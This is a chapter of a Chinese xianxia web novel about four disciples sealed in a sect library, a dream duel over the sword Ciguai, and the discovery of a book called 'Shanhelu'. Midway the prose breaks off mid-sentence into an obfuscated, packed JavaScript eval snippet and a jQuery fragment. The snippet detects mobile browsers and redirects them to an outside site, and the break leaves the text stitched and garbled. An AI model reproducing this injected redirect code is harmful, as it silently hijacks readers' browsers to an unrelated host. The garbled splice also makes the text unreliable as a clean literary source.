也不知道具体在藏书阁里呆了多久,四人累得上气不接下气,也只不过是把一楼的书册整理完。
而噩梦的是,藏书阁一共六层。
此时他们既无法与外界联系,也无法使用灵力,意味着...他们只能纯靠体力。
“不行了,我不行了...”喘着粗气,江悬咚地一声躺倒在地,此时沈若也疲倦不堪,斜倚在书架上,肩膀无意中被一物硌到,她转身看去,一卷书册突兀露出,比其他书册长出一截来。
眸光微动,沈若伸手取下书册,再度靠了回去,背后总算是平坦了些,不至于让她不适。
呼——
也不知什么时候,歪七扭八躺在地上的三人就此睡去,轻鼾声阵起,约莫是累得不行。
沈若此时虽然身子疲惫得很,但头脑却依旧清醒,左右酝酿不出睡意,索性看起了手里拿着的这本书。
似乎是一本手札,估摸着很有些年头了,其中有些地方已经破损,只余下寥寥残页,而即便是余下的部分,其上的字迹也已然模糊。
沈若随意翻看了几页,终于找到了一处依稀能看的地方。
其上写的是:
...,乃逆天改命之术也。其法...,命数将尽,......,...未散,故可取而用之。
什么东西。沈若不免蹙眉,辨认半天不过只堪堪看出几字,重点全都模糊不见,余下的说了也等同于白说。
这书册都这样了,一点价值都没有,还放在藏书阁做什么。
颇为嫌弃地移开视线,关上书前,沈若瞥过最后一行字,这里倒是清楚得很:
此法有违天道,恐招致因果报应,慎之。
大概是辨认字迹废了些心神,此时沈若也有了困意,顺手把书册垫在脑袋下边,侧身一趟,阖眼便沉沉睡去。
眼前云雾弥漫,又是那眼熟的场景,根本不用猜测,下一刻出现在眼前的必然是那剑客,抑或是穿着短打的武者。
沈若此时满脸崩溃,哀嚎道:“我好不容易能休息一会儿,能不能放过我啊!”
话音刚落,就见沈若摆烂般地躺在了地上。
打吧打吧,挨顿揍就能出去了。
或许是听到了她的请求,从云雾中走出的并非武者和剑客,而是左夷觞。
只见他立在沈若身旁,垂眸看去,却见沈若阖着眼,全然没有醒来的意味。
手中剑铮然出鞘。
几乎是下意识的反应,沈若瞬间睁眼起身,动作利落而丝滑,好似方才懒散躺在地上的那人不过只是错觉,而后她一个跨步冲身而上,伸手便要去躲左夷觞手里拿着的剑。
那可是她的辞归,即便只是在梦中,那也必须得在她手里才是!
只差毫厘,左夷觞一个侧身,沈若扑了个空。
眉头顿时拧起,沈若的眼中已经隐隐流露愠色。
脚下步伐一顿,迅速扭转方向,左手于翻动间现出一张符纸,末指夹住,食指指尖凝起灵力,此时她一个快步冲上,右手掌风厉厉,直直攻向那飘然的身影。
又被避开。
刹时,左手符成,身形一幻,沈若如鬼魅般消失在原地,而后竟直接从左夷觞的身后突袭。
但左夷觞又岂会被这般雕虫小技迷惑,又是毫厘之差,沈若与辞归错身而过。
她恼了。
左手的符纸一张接着一张,只见左手指尖翩飞,沈若不仅单手绘符,而且一笔即成,流畅自如,毫无滞涩。
眼见着沈若手中的动作愈发快了,身形也不断闪烁穿行。
可即便这般,沈若连左夷觞的衣角都不曾碰到。
管你什么前辈,凭什么故意来捉弄我!
眼神顿然凝烁,怒意汹涌,一息之内,周身灵力暴起,手中神行符顿时碾作尘灰,身形再次鬼魅般出现在另一处,故技重施,右手破空袭去。
左夷觞避开了攻势,可沈若,握住了辞归。
眸中讶异一闪而过。
此时在左夷觞的两侧,一道手腕大小的阵法平行展开,沈若一手穿过,而从另一侧伸出,死死攥住辞归的剑身。
左夷觞顿然松了手,沈若得以夺回辞归,方才现于虚空的传送阵消失不见,沈若跌坐在地,面色苍白,灵府中的灵力再一次被耗空。
单手绘符本就耗费灵力,再加上她同时布出两道传送阵,即便已经缩小至手腕大小,但需要以灵力同时维持二者存在,自然也需要源源不断的输送。
灵府空竭,而沈若的体质又不受灵气亲和,短时间内亏空过剩...
眼前一黑,她在梦境里也倒了下去。
此时左夷觞垂眸凝望,抬手轻挥,周围一团雾气拢上前来,将沈若包裹得严严实实,而隐约之间,那雾气中有灵气缓缓流入她的经脉之中。
苍白渐渐转为红润。
目光不自觉挪向少女手中,即便是意识模糊昏倒在地,沈若也依旧紧紧抱着手中佩剑,难舍难分。
倒是给自己选了个好主人。
低声轻笑,左夷觞转而离去。
...
再次醒来时,也不知道过了多久,依稀被周围的声响吵醒。沈若睁眼看去,冷不丁与偷偷摸摸和老鼠一样吃着鱼干的江悬对上视线。
后者吓了一跳,岔了气。
嗝。
嗝。
极具节奏感的声音在阁中回荡,穆延川与洛风言二人也幽幽转醒。
不用多做解释,只消一眼,看见江悬捂着嘴试图遮掩,又扫过他手里的半块鱼干,穆延川顿时了然。
学着平日里江悬调侃别人的表情,穆延川挑眉望去,笑意晏晏:“哟,洛兄,醒了在这学公鸡打鸣呢。想叫醒我们就直说啊,不必如此多礼。”
江悬一噎,刚准备回话,又打了一个嗝。
沈若此时顺势接上话,不给他插嘴的机会,“穆延川,你这可就说错了,公鸡打鸣可不是这个声音。”
“那是什么呢?”穆延川故作夸张。
洛风言被两道目光注视着,随声应答:“大概...是母鸡要下蛋了。”
怒吼一声,江悬作势就要去揍他们,三人鱼贯而散,兵分三路,一眨眼跑没了影。
“你们!”江悬气得跺脚。
片刻后,又是一声惊呼,“诶?我不打嗝了。”
因为被这事打了岔,沈若完全忘了那本睡前放在头下枕着的书册,而江悬垂眼瞥见,顺手将它塞回一处。
而就在众人离开一楼后,那本书册凭空消失不见。
大概是知晓短时间内出去无望,相比于先前在一楼的埋头苦干,此刻几人明显有些倦怠。
只见几人整理着散落在书架边的书册,时不时还停下来看看名字,碰到感兴趣的,不免翻看几页。
“诶?这本书有点意思。”江悬暗暗嘀咕一声,顺手把理好的一摞书放在脚下,席地而坐,摞起的书册不高不矮,恰好把手肘撑在上边。
而另一边,穆延川早就被一本厚得跟砖一样的书吸引,几乎整个人都埋在里边,一只手翻看,另一只手在虚空中写写画画。
再看沈若,面前已经堆了高高一摞。
这一摞并非整理出来的书册,而是她挑出来要看的。
完全是一副既来之则安之的模样。
洛风言依旧勤勤恳恳地收拾着,各色书名不过是一扫而过,颇为专注。
理好书册,洛风言按顺序归置回架上,书架略有高度,最上面一层需垫脚才能够到,洛风言一声不吭地自己忙活,也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398547|168664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出声打扰正专注看书的三人。
一个推搡,不知是谁随手搁横在顶上的几本书被撞动,恰好在视线盲区,就此从高处砸落。
一声闷响,随后又是接连几声嘭然落地,沈若三人齐齐抬头,神色慌张地赶上前去。
“洛风言,没事吧?”
沈若垫脚看了看,穆延川的额头青了一片,却见他摆摆手答道:“没事。”
可下一刻无意识地摸上伤处,突然的痛感忍不住让他倒吸了一口冷气。
“这哪个缺德的放的,要让我知道,定要狠狠揍他一顿。”江悬作势就像挽袖子,誓要与那个未知的罪魁祸首较量较量。
此时穆延川捡起掉在地上的书,拍了拍气势汹汹的江悬,道:“江悬,别在那对着空气打架了,来搭把手,我把书放回去。”
突然间,洛风言出声制住,“等等。”
疑惑看去,只见洛风言匆匆上前,拿起了最上方的一本,眼神中闪着惊异。
“这...”他哑然出声。
沈若顺势看去,书封上的的字迹笔走龙蛇,遒劲有力。
《山河录》
这个名字...
沈若眉头微蹙,隐约有些熟悉感,但具体是为什么,她却说不上来。
或许是前世在哪听说过?晃了晃脑袋,沈若抛开思虑。
甫一见到这本《山河录》,洛风言的状态就明显不对劲,而当他随手翻看其中书页,发现内容俱全时,惊异更甚。
“这里怎么会有这本书...”洛风言喃喃低语,表情怔怔。
“怎么了?”穆延川抬眼看去,但洛风言此时已经全然无心外界,直勾勾盯着手中的书册。
三人齐齐对视一眼,不再多言,将散落的书册归置原处,各回其位。
一时间,藏书阁内悄无声息,只剩下了翻书的沙沙声。
...
一个月后,藏书阁的禁制终于解除,各峰仙君察觉异况,第一时间赶至现场,准备好好看看到底是哪一峰的弟子。
而其中有几人的神情略显不自然。
自家弟子消失了整整一月,当师父的自然是最为清楚,而他们没想到,自己当初幸灾乐祸的对象...竟然是自己。
只听见轰然一声,被尘封许久的藏书阁大门终于得以打开,阳光从门口照入,在光洁无比的地面上折射出耀眼的光芒。
而此时,四个身影从门内欢脱跑出,活像被放归山林的猴。
“哈哈哈——本大爷终于出来了!”狂笑几声,江悬打头冲出门来,蹦蹦跳跳。
而后...他石化般僵在了原地。
一、二、三。
像是玩木头人的游戏,藏书阁门口站开一排,姿势僵硬,表情龟裂。
“愣着干嘛,还不快过来。”鹤衾眉头一蹙,一个甩袖,江悬马不停蹄赶上前去,眼巴巴喊了声:“师尊。”
“嗯。”凝眸一扫,鹤衾缓缓道:“跟上吧。”
几人纷纷被仙君领回峰去,临走时一个个低眉顺眼,一副灰溜溜的模样。
而余下的,就剩了沈若。
作为岐山派掌门,莫止平日里颇为忙碌,上次拜师之时也只是匆匆一面。
眼下,莫止仙尊并未现身。
还未等仙君们疑惑,就见人群后一人款款走出,颇有礼貌地拜见诸位仙君,而后在众人的目光中走到了沈若面前。
“大师兄。”沈若扬声唤道,寒暄般打着招呼:“好久不见啊。”
却见风陵澜的目光在她身上停留片刻,似有凝噎,“确实是许久不见。”
沈若从这话中听出不对劲,忙不迭凑上去问道:“师兄,我进去了多久?”
“一个月。”
一个月?!